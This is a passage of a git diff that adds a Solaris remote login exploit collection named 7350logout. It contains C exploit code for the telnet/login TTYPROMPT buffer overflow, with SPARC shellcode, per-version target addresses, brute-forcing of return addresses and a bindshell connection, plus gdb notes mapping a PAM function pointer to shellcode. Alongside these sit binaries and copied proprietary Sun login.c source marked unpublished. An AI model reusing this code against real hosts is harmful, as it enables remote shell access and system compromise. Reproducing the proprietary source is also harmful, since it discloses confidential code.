353 if( i < 63 || i > 190)
354 blah[i] = 0x41;
355 else {
356 blah[i++] = 0x20;
357 blah[i] = 0x41;
358 }
359 }
360
361 //free addr 1 send in addr of mem
362 memcpy(blah+252, &free_addr, 4);
363
364 memcpy(blah+204, &strncpy_addr, 4);
365
366 blah[256] = 0x00;
367
368
369 // add shellcode to end of buf
370 // pad with nops.. more is better... but not too many..
371 for(i=511-sizeof(shellcode)-2-4*NOPS; i < 511-sizeof(shellcode); i+=4)
372 memcpy(&buf[i], nop, sizeof(nop)-1);
373 memcpy(&buf[511-sizeof(shellcode)-2], shellcode, sizeof(shellcode));
374
375
376 // convert nulls to space..
377 for(i=0,j=0;i<511;i++) {
378 if(buf[i] == 0x00) {
379 buf[i] = 0x20; j++; }
380 }
381 buf[511] = 0x00;
382
383 sprintf(buffer,"%s%s\n", &blah,&buf);
384
385 return;
386}
387
388int main(int argc, char **argv) {
389 int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001;
390 char out[1024];
391 char in[24];
392 char ret[] = "\x0a";
393 char *host;
394 unsigned char bshell = 0xd5;
395 char cc;
396 unsigned long reta, retl;
397
398
399 FILE *login;
400
401 retl = 0x20026fc8;
402 reta = 0xffbef864;
403 if(argc < 2)
404 usage(argv);
405
406 while((c = getopt(argc, argv, "r:l:p:et:b")) != EOF){
407 switch(c){
408 case 'r':
409 reta = strtoul(optarg, NULL, 0);
410 break;
411 case 'l':
412 retl = strtoul(optarg, NULL, 0);
413 break;
414 case 'p':
415 port = atoi(optarg);
416 break;
417 case 'e':
418 local=1;
419 break;
420 case 't':
421 type = atoi(optarg);
422 if(type < 0 || type > 2){
423 fprintf(stderr, "invalid target\n");
424 usage(argv);
425 exit(0);
426 }
427 if(strstr(targets[type].name, "local"))
428 local = 1;
429 retl = targets[type].retl;
430 reta = targets[type].reta;
431 break;
432 case 'b':
433 bf=1;
434 break;
435 }
436 }
437
438 if(!local) {
439 if(!argv[optind] || !*argv[optind])
440 usage(argv);
441
442 host = argv[optind];
443 }
444
445 if(local) {
446 fprintf(stderr, "Local execution mode.. make sure to run %s [args] | /bin/login\n", argv[0]);
447 fprintf(stderr, "first wait for Password: prompt.. hit enter then,");
448 fprintf(stderr, "wait for Login incorrect, and attempt to connect to localhost on %d\n", remp);
449
450 }
451 if(bf) {
452 reta = 0xffbef800;
453 }
454
455
456 for(;reta < 0xffbef8ff; reta+=4) {
457 memset(out, 0, sizeof(out));
458 setup_exploit(out, retl, reta, bf);
459
460 if(local) {
461 if(bf) {
462 fprintf(stderr, "not supported do it manually you lazy fuck\n");
463 exit(0);
464 }
465 printf("%s", out);
466 }
467 else {
468 char *ptr=in;
469 fd = do_telnet_negotation (host, port);
470
471 memset(in, 0, sizeof(in));
472
473 while (!strstr(ptr, ":")) {
474 if(ptr==&in[0]) {
475 memset(in, 0, sizeof(in));
476 if(read(fd, in, sizeof(in)-2) < 0)
477 die("Failed read waiting for login: ");
478 }
479 for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
480 if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0))
481 ptr = &in[0];
482 else
483 ptr++;
484
485 }
486 memset(in, 0, sizeof(in));
487 fprintf(stdout, "Read login, sending bad user string now\n");
488 write_with_iac(fd, out, strlen(out));
489 fprintf(stdout, "waiting for password... ");
490
491 while (!strstr(ptr, ":")) {
492 if(ptr==&in[0]) {
493 memset(in, 0, sizeof(in));
494 if(read(fd, in, sizeof(in)-2) < 0)
495 die("Failed read waiting for password: ");
496 }
497 for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
498 if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) ptr = &in[0];
499 else ptr++;
500 }
501 memset(in, 0, sizeof(in));
502 fprintf(stdout, "read Password: \nsending enter now\n");
503
504 if(write(fd, ret, strlen(ret)) < 0)
505 die("Write failed on password");
506
507 fprintf(stdout, "Sent overflow string.... waiting for Login incorrect\n");
508 while (!strstr(ptr, "correct")) {
509 if(ptr==&in[0]) {
510 memset(in, 0, sizeof(in));
511 if(read(fd, in, sizeof(in)-2) < 0)
512 die("Failed read waiting for Login Incorrect ");
513 }
514 for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
515 if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0))
516 ptr = &in[0];
517 else
518 ptr++;
519
520 }
521 fprintf(stdout, "Got it!\n");
522 fprintf(stdout, "lets connect to our bindshell..\n");
523
524 close(connect_shell(host, remp));
525
526 close(fd);
527 }
528 if(!bf) return;
529 }
530 fprintf(stderr, "connection closed.\n");
531
532 return;
533}
diff --git a/exploits/7350logout/loginex.c b/exploits/7350logout/loginex.c
new file mode 100644
index 0000000..d07564e
--- /dev/null
+++ b/exploits/7350logout/loginex.c
@@ -0,0 +1,302 @@
1#include <stdio.h>
2#include <string.h>
3#include <netdb.h>
4#include <unistd.h>
5#include <errno.h>
6#include <sys/socket.h>
7#include <sys/types.h>
8#include <netinet/in.h>
9#include <arpa/telnet.h>
10
11#ifdef SOLARIS
12//typedef unsigned long u_int32_t;
13#endif
14
15#define BUFLEN 1024
16
17char shellcode[]=
18//"aaaaaaaaaaaaaaaa"
19//"aaaaaaaaaaaaaaaa"
20//"aaaaaaaaaaaa";
21"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0"
22"\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4"
23"\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08";
24
25struct {
26 char *name;
27 unsigned long in_addr;
28 unsigned long out_addr;
29} targets[] = {
30 { "Solaris 8/SPARC", 0xff1bd538, 0xff1b7028 },
31 { "Solaris 7/SPARC", 0xff1bb23c, 0xff1b4a44 },
32 { "Solaris 6/SPARC", 0xff6a91f0, 0xef6a323c },
33 { "Solaris 51/SPARC", 0xff61bfe8, 0xef615144 },
34 { "tmogg", 0xff1bb23c,0xff1b4a44},
35 { NULL, 0 }
36};
37
38void usage(char *p)
39{
40 int i;
41
42 fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n", p);
43 fprintf(stderr, "-t: target type (see below)\n");
44 fprintf(stderr, "-p: port to use (default: 23)\n");
45 fprintf(stderr, "-o: offset to use (default: 0)\n\n");
46
47 fprintf(stderr, "Target Types:\n");
48 for(i = 0; targets[i].name; i++)
49 fprintf(stderr, "%d) %s\n", i, targets[i].name);
50
51 fprintf(stderr, "\n");
52 exit(0);
53}
54
55void die(char *msg)
56{
57 perror(msg);
58 exit(errno);
59}
60
61u_int32_t get_ip(char *host)
62{
63 struct hostent *hp;
64
65 if(!(hp = gethostbyname(host))){
66 fprintf(stderr, "cannot resolve %s\n", host);
67 return(0);
68 }
69 return(*(u_int32_t *)hp->h_addr_list[0]);
70}
71
72int get_socket(char *target, int port)
73{
74 int sock;
75 u_int32_t ip;
76 struct sockaddr_in sin;
77
78 if(!(ip = get_ip(target)))
79 return(0);
80
81 bzero(&sin, sizeof(sin));
82 sin.sin_family = AF_INET;
83 sin.sin_port = htons(port);
84 sin.sin_addr.s_addr = ip;
85
86 if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
87 die("socket");
88 if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
89 die("connect");
90 return(sock);
91}
92
93void send_wont(int sock, int option)
94{
95 char buf[3], *ptr=buf;
96
97 *ptr++ = IAC;
98 *ptr++ = WONT;
99 *ptr++ = (unsigned char)option;
100 if(write(sock, buf, 3) < 0)
101 die("write");
102 return;
103}
104
105void send_will(int sock, int option)
106{
107 char buf[3], *ptr=buf;
108
109 *ptr++ = IAC;
110 *ptr++ = WILL;
111 *ptr++ = (unsigned char)option;
112 if(write(sock, buf, 3) < 0)
113 die("write");
114 return;
115}
116
117void send_do(int sock, int option)
118{
119 char buf[3], *ptr=buf;
120
121 *ptr++ = IAC;
122 *ptr++ = DO;
123 *ptr++ = (unsigned char)option;
124 if(write(sock, buf, 3) < 0)
125 die("write");
126 return;
127}
128
129void send_env(int sock, char *name, char *value)
130{
131 char buf[BUFLEN], *ptr = buf;
132
133 *ptr++ = IAC;
134 *ptr++ = SB;
135 *ptr++ = TELOPT_NEW_ENVIRON;
136 *ptr++ = TELQUAL_IS;
137 *ptr++ = NEW_ENV_VAR;
138 strncpy(ptr, name, BUFLEN-20);
139 ptr += strlen(ptr);
140 *ptr++ = NEW_ENV_VALUE;
141 strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
142 ptr += strlen(ptr);
143 *ptr++ = IAC;
144 *ptr++ = SE;
145
146 if(write(sock, buf, (ptr - buf)) < 0)
147 die("write");
148 return;
149}
150
151void do_negotiate(int sock)
152{
153 send_wont(sock, TELOPT_TTYPE);
154 send_wont(sock, TELOPT_NAWS);
155 send_wont(sock, TELOPT_LFLOW);
156 send_wont(sock, TELOPT_LINEMODE);
157 send_wont(sock, TELOPT_XDISPLOC);
158 send_will(sock, TELOPT_LFLOW);
159 send_will(sock, TELOPT_LINEMODE);
160 send_wont(sock, TELOPT_OLD_ENVIRON);
161 send_will(sock, TELOPT_NEW_ENVIRON);
162 send_will(sock, TELOPT_BINARY);
163 send_env(sock, "TTYPROMPT", shellcode);
164 return;
165}
166
167void write_attack_buf(int sock, int type)
168{
169 char *attack_buf, *outbuf;
170 int i, j;
171#ifdef SOLARIS
172 char tmpbuf[64];
173#endif
174
175 if(!(attack_buf = (char *)calloc(BUFLEN*3, 1)))
176 die("malloc");
177 if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){
178 free(attack_buf);
179 die("malloc");
180 }
181 if(write(sock, attack_buf, strlen(attack_buf)) < 0)
182 die("write");
183
184 memset(attack_buf+100, '\t', 80);
185
186 /* --- stdio FILE structure, top of _iob -- */
187
188#ifdef SOLARIS
189
190 *(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000);
191 *(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr);
192 *(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr);
193 *(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000);
194
195 *(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001);
196 *(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr);
197 *(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr);
198 *(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a);
199
200 memcpy(&attack_buf[2055], tmpbuf, 32);
201#else
202
203 *(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000);
204 *(long *)&attack_buf[2059] = htonl((unsigned long)targets[type].in_addr);
205 *(long *)&attack_buf[2063] = htonl((unsigned long)targets[type].in_addr);
206 *(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000);
207
208 *(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001);
209 *(long *)&attack_buf[2075] = htonl((unsigned long)targets[type].out_addr);
210 *(long *)&attack_buf[2079] = htonl((unsigned long)targets[type].out_addr);
211 *(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a);
212
213#endif
214 /* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */
215 for(i = 0, j = 0; i < 3000; i++){
216 outbuf[j++] = attack_buf[i];
217 if(attack_buf[i] == '\xff')
218 outbuf[j++] = '\xff';
219 if(attack_buf[i] == '\n')
220 break;
221 }
222
223 if(write(sock, outbuf, j) < 0)
224 die("write");
225
226 /* -- 2 reads for reading the garbage which screws up term -- */
227 if((j = read(sock, attack_buf, BUFLEN)) < 0)
228 die("read");
229 if((j = read(sock, attack_buf, BUFLEN)) < 0)
230 die("read");
231
232 free(attack_buf);
233 free(outbuf);
234 return;
235}
236
237int main(int argc, char **argv)
238{
239 int c, n, sockfd, type = 0, offset=0, port = 23;
240 char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
241 fd_set rset;
242
243 while((c = getopt(argc, argv, "t:o:p:")) != EOF){
244 switch(c){
245 case 't':
246 type = atoi(optarg);
247 if(type < 0 || type > sizeof(targets)){
248 fprintf(stderr, "invalid target type\n");
249 usage(argv[0]);
250 }
251 case 'o':
252 offset = atoi(optarg);
253 break;
254 case 'p':
255 port = atoi(optarg);
256 break;
257 }
258 }
259
260 if(!argv[optind] || !*argv[optind])
261 usage(argv[0]);
262 if(!(sockfd = get_socket(argv[optind], port)))
263 exit(-1);
264 do_negotiate(sockfd);
265printf("connected\n");
266getchar();
267 n = read(sockfd, buf, sizeof(buf));
268 write_attack_buf(sockfd, type);
269 send_wont(sockfd, TELOPT_BINARY);
270 sleep(1);
271 read(sockfd, buf, sizeof(buf));
272 write(sockfd, shellstr, strlen(shellstr));
273 FD_ZERO(&rset);
274 for(;;){
275 FD_SET(0, &rset);
276 FD_SET(sockfd, &rset);
277 if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
278 die("select");
279
280 if(FD_ISSET(sockfd, &rset)){
281 bzero(buf, sizeof(buf));
282 if((n = read(sockfd, buf, sizeof(buf))) < 0)
283 die("read");
284 if(n == 0){
285 printf("EOF\n");
286 exit(0);
287 }
288 write(1,"-> ",3);
289 write(1, buf, n);
290 }
291
292 if(FD_ISSET(0, &rset)){
293 bzero(buf, sizeof(buf));
294 if((n = read(0, buf, sizeof(buf))) < 0)
295 die("read");
296 if(n == 0)
297 exit(0);
298 write(sockfd, buf, n);
299 }
300 }
301}
302
diff --git a/exploits/7350logout/pam.txt b/exploits/7350logout/pam.txt
new file mode 100644
index 0000000..a62e464
--- /dev/null
+++ b/exploits/7350logout/pam.txt
@@ -0,0 +1,103 @@
1
2pamh points here:
3
4
5
6(gdb) x/256wx 0x29278
7struct pam_item ps_item[PAM_MAX_ITEMS = 64]; (64 * 8 bytes = 0x200 bytes)
80x29278: 0x00000000 0x00000000 0x00028db0 0x00000005
90x29288: 0x00000000 0x00000000 0x0002b2a8 0x0000000a
100x29298: 0x00028e40 0x00000000 0x00028dd0 0x00000008
110x292a8: 0x00000000 0x00000000 0x00000000 0x00000000
120x292b8: 0x00000000 0x00000000 0x00028e50 0x00000007
130x292c8: 0x00000000 0x00000000 0x00000000 0x00000000
140x292d8: 0x00000000 0x00000000 0x00000000 0x00000000
150x292e8: 0x00000000 0x00000000 0x00000000 0x00000000
160x292f8: 0x00000000 0x00000000 0x00000000 0x00000000
170x29308: 0x00000000 0x00000000 0x00000000 0x00000000
180x29318: 0x00000000 0x00000000 0x00000000 0x00000000
190x29328: 0x00000000 0x00000000 0x00000000 0x00000000
200x29338: 0x00000000 0x00000000 0x00000000 0x00000000
210x29348: 0x00000000 0x00000000 0x00000000 0x00000000
220x29358: 0x00000000 0x00000000 0x00000000 0x00000000
230x29368: 0x00000000 0x00000000 0x00000000 0x00000000
240x29378: 0x00000000 0x00000000 0x00000000 0x00000000
250x29388: 0x00000000 0x00000000 0x00000000 0x00000000
260x29398: 0x00000000 0x00000000 0x00000000 0x00000000
270x293a8: 0x00000000 0x00000000 0x00000000 0x00000000
280x293b8: 0x00000000 0x00000000 0x00000000 0x00000000
290x293c8: 0x00000000 0x00000000 0x00000000 0x00000000
300x293d8: 0x00000000 0x00000000 0x00000000 0x00000000
310x293e8: 0x00000000 0x00000000 0x00000000 0x00000000
320x293f8: 0x00000000 0x00000000 0x00000000 0x00000000
330x29408: 0x00000000 0x00000000 0x00000000 0x00000000
340x29418: 0x00000000 0x00000000 0x00000000 0x00000000
350x29428: 0x00000000 0x00000000 0x00000000 0x00000000
360x29438: 0x00000000 0x00000000 0x00000000 0x00000000
370x29448: 0x00000000 0x00000000 0x00000000 0x00000000
380x29458: 0x00000000 0x00000000 0x00000000 0x00000000
390x29468: 0x00000000 0x00000000 0x00000000 0x00000000
40
41pamtab * pam_conf_info[PAM_NUM_MODULE_TYPES = 4]; (4 * 4 bytes = 0x10 bytes)
420x29478: 0x000295c0 0x00029638 0x00029700 0x000296b0
43
440x29488: 0x0002b2d8 ; struct pam_module_data *ssd;
450x2948c: 0x00028e70 ; fd_list * fd;
460x29490: 0x00000000 ; env_list * pam_env;
470x29494: 0x00000000 ; char * pam_client_message_version_number;
48
49
50pamtab, pam_conf_info[0]:
51 "login" AUTH REQUIRED "/usr/lib/security/pam_unix.so.1"
520x295c0: 0x00028de0 0x00000000 0x00000001 0x000295e8
530x295d0: 0x00000000 0x00000000 0x00028e60 0x00029610
54
55pamtab, pam_conf_info[1]:
56 "login" ACCOUNT REQUISITE "/usr/lib/security/pam_roles.so.1"
570x29638: 0x00028e10 0x00000001 0x00000008 0x0002a038
580x29648: 0x00000000 0x00000000 0x00000000 0x00029660
59
60pamtab, pam_conf_info[2]:
61 "other" PASSWORD REQUIRED "/usr/lib/security/pam_unix.so.1"
620x29700: 0x00028e30 0x00000002 0x00000001 0x00029728
630x29710: 0x00000000 0x00000000 0x00000000 0x00000000
64
65pamtab, pam_conf_info[3]:
66 "other" SESSION REQUIRED "/usr/lib/security/pam_unix.so.1"
670x296b0: 0x00028e20 0x00000003 0x00000001 0x000296d8
680x296c0: 0x00000000 0x00000000 0x00000000 0x00000000
69
70
71pam_conf_info[0]->function_ptr:
720x28e60: 0xef4d4a70 0x00000000 0x00000009 0x00000000
730x28e70: 0xef6f060c 0x00028e90 0x00000009 0x00000000
740x28e80: 0xef4b091c 0x00000000 0x00000009 0x00000000
750x28e90: 0xef6f0c50 0x00000000 0x00000009 0x00000000
760x28ea0: 0x00028eb0 0xefffb1f0 0x00000009 0x00000000
770x28eb0: 0x00000000 0x00000000 0x00000009 0x00000000
78
79
80
81pamh ->
82 [512 * NULL] ps_item, ps_item[2] = { "foo", 3 }
83 [pameptr] pam_conf_info[0] (AUTH)
84 [3 * NULL] pam_conf_info[1-3]
85 [NULL] ssd
86 [NULL] fd
87 [NULL] pam_env
88 [NULL] pam_client_message_version_number
89
90pameptr ->
91 [NULL] pam_service
92 [NULL] pam_type
93 [NULL] pam_flag
94 [NULL] module_path
95 [NULL] module_argc
96 [NULL] module_argv
97 [pamfptr] function_ptr
98
99pamfprt ->
100 [entry] pm_sm_authenticate()
101
102entry -> shellcode
103
diff --git a/exploits/7350logout/solaris-2.4-sparc-login b/exploits/7350logout/solaris-2.4-sparc-login
new file mode 100644
index 0000000..2c14874
--- /dev/null
+++ b/exploits/7350logout/solaris-2.4-sparc-login
Binary files differ
diff --git a/exploits/7350logout/solaris-2.6-sparc-login b/exploits/7350logout/solaris-2.6-sparc-login
new file mode 100644
index 0000000..0327519
--- /dev/null
+++ b/exploits/7350logout/solaris-2.6-sparc-login
Binary files differ
diff --git a/exploits/7350logout/solaris-2.6-sparc-login2 b/exploits/7350logout/solaris-2.6-sparc-login2
new file mode 100644
index 0000000..d1fdc7e
--- /dev/null
+++ b/exploits/7350logout/solaris-2.6-sparc-login2
Binary files differ
diff --git a/exploits/7350logout/solaris-2.7-login.c b/exploits/7350logout/solaris-2.7-login.c
new file mode 100644
index 0000000..d7b89e3
--- /dev/null
+++ b/exploits/7350logout/solaris-2.7-login.c
@@ -0,0 +1,2355 @@
1/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
2/* All Rights Reserved */
3
4/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
5/* The copyright notice above does not evidence any */
6/* actual or intended publication of such source code. */
7
8#pragma ident "@(#)login.c 1.73 97/11/25 SMI" /* SVr4.0 1.43.6.26 */
9
10/*
11
12 PROPRIETARY NOTICE(Combined)
13
14This source code is unpublished proprietary information
15constituting, or derived under license from AT&T's UNIX(r) System V.
16In addition, portions of such source code were derived from Berkeley
174.3 BSD under license from the Regents of the University of
18California.
19
20
21
22 Copyright Notice
23
24Notice of copyright on this source code product does not indicate
25publication.
26
27 (c) 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1997 Sun Microsystems, Inc
28 (c) 1983, 1984, 1985, 1986, 1987, 1988, 1989 AT&T.
29 All rights reserved.
30*******************************************************************
31*/
32
33/* Copyright (c) 1987, 1988 Microsoft Corporation */
34/* All Rights Reserved */
35
36/* This Module contains Proprietary Information of Microsoft */
37/* Corporation and should be treated as Confidential. */
38
39/*
40 * Usage: login [ -d device ] [ name ] [ environment args ]
41 *
42 *
43 */
44
45
46/*
47 *
48 * *** Header Files ***
49 *
50 *
51 */
52
53#include <sys/types.h>
54#include <sys/param.h>
55#include <unistd.h> /* For logfile locking */
56#include <signal.h>
57#include <stdio.h>
58#include <sys/stat.h>
59#include <string.h>
60#include <deflt.h>
61#include <grp.h>
62#include <fcntl.h>
63#include <lastlog.h>
64#include <termio.h>
65#include <utmpx.h>
66#include <dirent.h>
67#include <stdlib.h>
68#include <wait.h>
69#include <errno.h>
70#include <ctype.h>
71#include <syslog.h>
72#include <ulimit.h>
73#include <libgen.h>
74#include <pwd.h>
75#include <security/pam_appl.h>
76#include "libcmd.h" /* for defcntl */
77
78/*
79 *
80 * *** Defines, Macros, and String Constants ***
81 *
82 *
83 */
84
85#define ISSUEFILE "/etc/issue" /* file to print before prompt */
86#define NOLOGIN "/etc/nologin" /* file to lock users out during shutdown */
87
88/*
89 * These need to be defined for UTMP management.
90 * If we add in the utility functions later, we
91 * can remove them.
92 */
93#define __UPDATE_ENTRY 1
94#define __LOGIN 2
95
96/*
97 * Intervals to sleep after failed login
98 */
99#ifndef SLEEPTIME
100#define SLEEPTIME 4 /* sleeptime before login incorrect msg */
101#endif
102static int Sleeptime = SLEEPTIME;
103
104/*
105 * seconds login disabled after allowable number of unsuccessful attempts
106 */
107#ifndef DISABLETIME
108#define DISABLETIME 20
109#endif
110#define MAXTRYS 5
111
112static int retry = MAXTRYS;
113
114/*
115 * Login logging support
116 */
117#define LOGINLOG "/var/adm/loginlog" /* login log file */
118#define LNAME_SIZE 20 /* size of logged logname */
119#define TTYN_SIZE 15 /* size of logged tty name */
120#define TIME_SIZE 30 /* size of logged time string */
121#define ENT_SIZE (LNAME_SIZE + TTYN_SIZE + TIME_SIZE + 3)
122#define L_WAITTIME 5 /* waittime for log file to unlock */
123#define LOGTRYS 10 /* depth of 'try' logging */
124
125/*
126 * String manipulation macros: SCPYN, EQN and ENVSTRNCAT
127 */
128#define SCPYN(a, b) (void) strncpy(a, b, sizeof (a))
129#define EQN(a, b) (strncmp(a, b, sizeof (a)-1) == 0)
130#define ENVSTRNCAT(to, from) {int deflen; deflen = strlen(to); \
131 (void) strncpy((to)+ deflen, (from), sizeof (to) - (1 + deflen)); }
132
133/*
134 * Other macros
135 */
136#define NMAX sizeof (utmp.ut_name)
137#define HMAX sizeof (utmp.ut_host)
138#define min(a, b) (((a) < (b)) ? (a) : (b))
139
140/*
141 * Various useful files and string constants
142 */
143#define SHELL "/usr/bin/sh"
144#define SHELL2 "/sbin/sh"
145#define SUBLOGIN "<!sublogin>"
146#define LASTLOG "/var/adm/lastlog"
147#define PROG_NAME "login"
148#define HUSHLOGIN ".hushlogin"
149
150/*
151 * Array and Buffer sizes
152 */
153#define PBUFSIZE 8 /* max significant characters in a password */
154#define MAXARGS 63
155#define MAXENV 1024
156#define MAXLINE 2048
157
158/*
159 * Miscellaneous constants
160 */
161#define ROOTUID 0
162#define ERROR 1
163#define OK 0
164#define LOG_ERROR 1
165#define DONT_LOG_ERROR 0
166#define TRUE 1
167#define FALSE 0
168
169/*
170 * Counters for counting the number of failed login attempts
171 */
172static int trys = 0;
173
174/*
175 * Externs a plenty
176 */
177extern int getsecretkey();
178
179/*
180 * BSM hooks
181 */
182extern int audit_login_save_flags(int rflag, int hflag);
183extern int audit_login_save_host(char *host);
184extern int audit_login_save_ttyn(char *ttyn);
185extern int audit_login_save_port(void);
186extern int audit_login_success(void);
187extern int audit_login_save_pw(struct passwd *pwd);
188extern int audit_login_bad_pw(void);
189extern int audit_login_maxtrys(void);
190extern int audit_login_not_console(void);
191extern int audit_login_bad_dialup(void);
192extern int audit_login_maxtrys(void);
193
194/*
195 * utmp file variables
196 */
197static struct utmpx utmp;
198
199/*
200 * The current user name
201 */
202static char user_name[64];
203static char minusnam[16] = "-";
204
205/*
206 * locale environments to be passed to shells.
207 */
208static char *localeenv[] = {
209 "LANG",
210 "LC_CTYPE", "LC_NUMERIC", "LC_TIME", "LC_COLLATE",
211 "LC_MONETARY", "LC_MESSAGES", "LC_ALL", 0};
212static int locale_envmatch(char *lenv, char *penv);
213
214/*
215 * Environment variable support
216 */
217static char shell[256] = { "SHELL=" };
218static char home[MAXPATHLEN] = { "HOME=" };
219static char term[64] = { "TERM=" };
220static char logname[30] = { "LOGNAME=" };
221static char timez[100] = { "TZ=" };
222static char hertz[10] = { "HZ=" };
223static char path[MAXPATHLEN] = { "PATH=" };
224static char *newenv[10+MAXARGS] =
225 {home, path, logname, hertz, term, 0, 0};
226static char **envinit = newenv;
227static int basicenv;
228static char envblk[MAXENV];
229static char *zero = (char *)0;
230static char **envp;
231#ifndef NO_MAIL
232static char mail[30] = { "MAIL=/var/mail/" };
233#endif
234extern char **environ;
235char inputline[MAXLINE];
236
237
238/*
239 * Strings used to prompt the user.
240 */
241static char loginmsg[] = "login: ";
242static char passwdmsg[] = "Password:";
243static char incorrectmsg[] = "Login incorrect\n";
244
245/*
246 * Password file support
247 */
248static struct passwd *pwd;
249static char remote_host[HMAX];
250
251/*
252 * Illegal passwd entries.
253 */
254static struct passwd nouser = { "", "no:password", ~ROOTUID };
255
256/*
257 * Log file support
258 */
259static char *log_entry[LOGTRYS];
260static int writelog = 0;
261static int lastlogok = 0;
262static struct lastlog ll;
263static int dosyslog = 0;
264
265/*
266 * Default file toggles
267 */
268static char *Pndefault = "/etc/default/login";
269static char *Altshell = NULL;
270static char *Console = NULL;
271static char *Passreq = NULL;
272#define DEFUMASK 022
273static mode_t Umask = DEFUMASK;
274static char *Def_tz = NULL;
275static char *tmp_tz = NULL;
276static char *Def_hertz = NULL;
277#define SET_FSIZ 2 /* ulimit() command arg */
278static long Def_ulimit = 0;
279#define MAX_TIMEOUT (15 * 60)
280#define DEF_TIMEOUT (5 * 60)
281static unsigned Def_timeout = DEF_TIMEOUT;
282static char *Def_path = NULL;
283static char *Def_supath = NULL;
284#define DEF_PATH "/usr/bin:" /* same as PATH */
285#define DEF_SUPATH "/usr/sbin:/usr/bin" /* same as ROOTPATH */
286
287/*
288 * ttyprompt will point to the environment variable TTYPROMPT.
289 * TTYPROMPT is set by ttymon if ttymon already wrote out the prompt.
290 */
291static char *ttyprompt = NULL;
292static char *ttyn = NULL;
293static struct group *grpstr;
294static char *ttygrp = "tty";
295static char *progname = PROG_NAME;
296
297/*
298 * Pass inherited environment. Used by telnetd in support of the telnet
299 * ENVIRON option.
300 */
301static int pflag;
302/*
303 * Remote login support
304 */
305static int hflag, rflag;
306static char rusername[NMAX+1], lusername[NMAX+1];
307static char terminal[MAXPATHLEN];
308
309/*
310 * Pre-authentication flag support
311 */
312static int fflag;
313
314static int login_conv(int num_msg, struct pam_message **msg,
315 struct pam_response **response, void *appdata_ptr);
316
317static struct pam_conv pam_conv = {login_conv, NULL};
318static pam_handle_t *pamh; /* Authentication handle */
319
320/*
321 * Function declarations
322 */
323static void turn_on_logging(void);
324static void defaults(void);
325static void usage(void);
326static void process_rlogin(void);
327static void login_authenticate();
328static void setup_credentials(void);
329static void adjust_nice(void);
330static void update_utmp_entry(int sublogin);
331static void establish_user_environment(char **renvp);
332static void print_banner(void);
333static void display_last_login_time(void);
334static void exec_the_shell(void);
335static int process_chroot_logins(void);
336static int chdir_to_dir_root(void);
337static void chdir_to_dir_user(void);
338static void logindevperm(char *, uid_t, gid_t);
339static void dir_dev_acc(char *, uid_t, gid_t, mode_t, char *);
340static void check_log(void);
341static void validate_account();
342static void doremoteterm(char *term);
343static int get_options(int argc, char *argv[]);
344static void getstr(char *buf, int cnt, char *err);
345static int legalenvvar(char *s);
346static void check_for_root_user(void);
347static void check_for_dueling_unix(char inputline[]);
348static void get_user_name(void);
349static void login_exit(int exit_code);
350static int logins_disabled(char *user_name);
351static void log_bad_attempts(void);
352
353/*
354 * *** main ***
355 *
356 * The primary flow of control is directed in this routine.
357 * Control moves in line from top to bottom calling subfunctions
358 * which perform the bulk of the work. Many of these calls exit
359 * when a fatal error is encountered and do not return to main.
360 *
361 *
362 */
363
364void
365main(int argc, char *argv[], char **renvp)
366{
367 int sublogin;
368
369 /*
370 * Set up Defaults and flags
371 */
372 defaults();
373
374 /*
375 * Set up default umask
376 */
377 if (Umask > ((mode_t) 0777))
378 Umask = DEFUMASK;
379 (void) umask(Umask);
380
381 /*
382 * Set up default timeouts and delays
383 */
384 if (Def_timeout > MAX_TIMEOUT)
385 Def_timeout = MAX_TIMEOUT;
386 if (Sleeptime < 0 || Sleeptime > 5)
387 Sleeptime = SLEEPTIME;
388
389 (void) alarm(Def_timeout);
390
391 /*
392 * Ignore SIGQUIT and SIGINT and set nice to 0
393 */
394 (void) signal(SIGQUIT, SIG_IGN);
395 (void) signal(SIGINT, SIG_IGN);
396 (void) nice(0);
397
398 /*
399 * Set flag to disable the pid check if you find that you are
400 * a subsystem login.
401 */
402 sublogin = 0;
403 if (*renvp && strcmp(*renvp, SUBLOGIN) == 0)
404 sublogin = 1;
405
406 /*
407 * Parse Arguments
408 */
409 if (get_options(argc, argv) == -1) {
410 usage();
411 login_exit(1);
412 }
413
414 audit_login_save_flags(rflag, hflag);
415 audit_login_save_host(remote_host);
416
417 /*
418 * if devicename is not passed as argument, call ttyname(0)
419 */
420 if (ttyn == NULL) {
421 ttyn = ttyname(0);
422 if (ttyn == NULL)
423 ttyn = "/dev/???";
424 }
425
426 audit_login_save_ttyn(ttyn);
427 audit_login_save_port();
428
429 /*
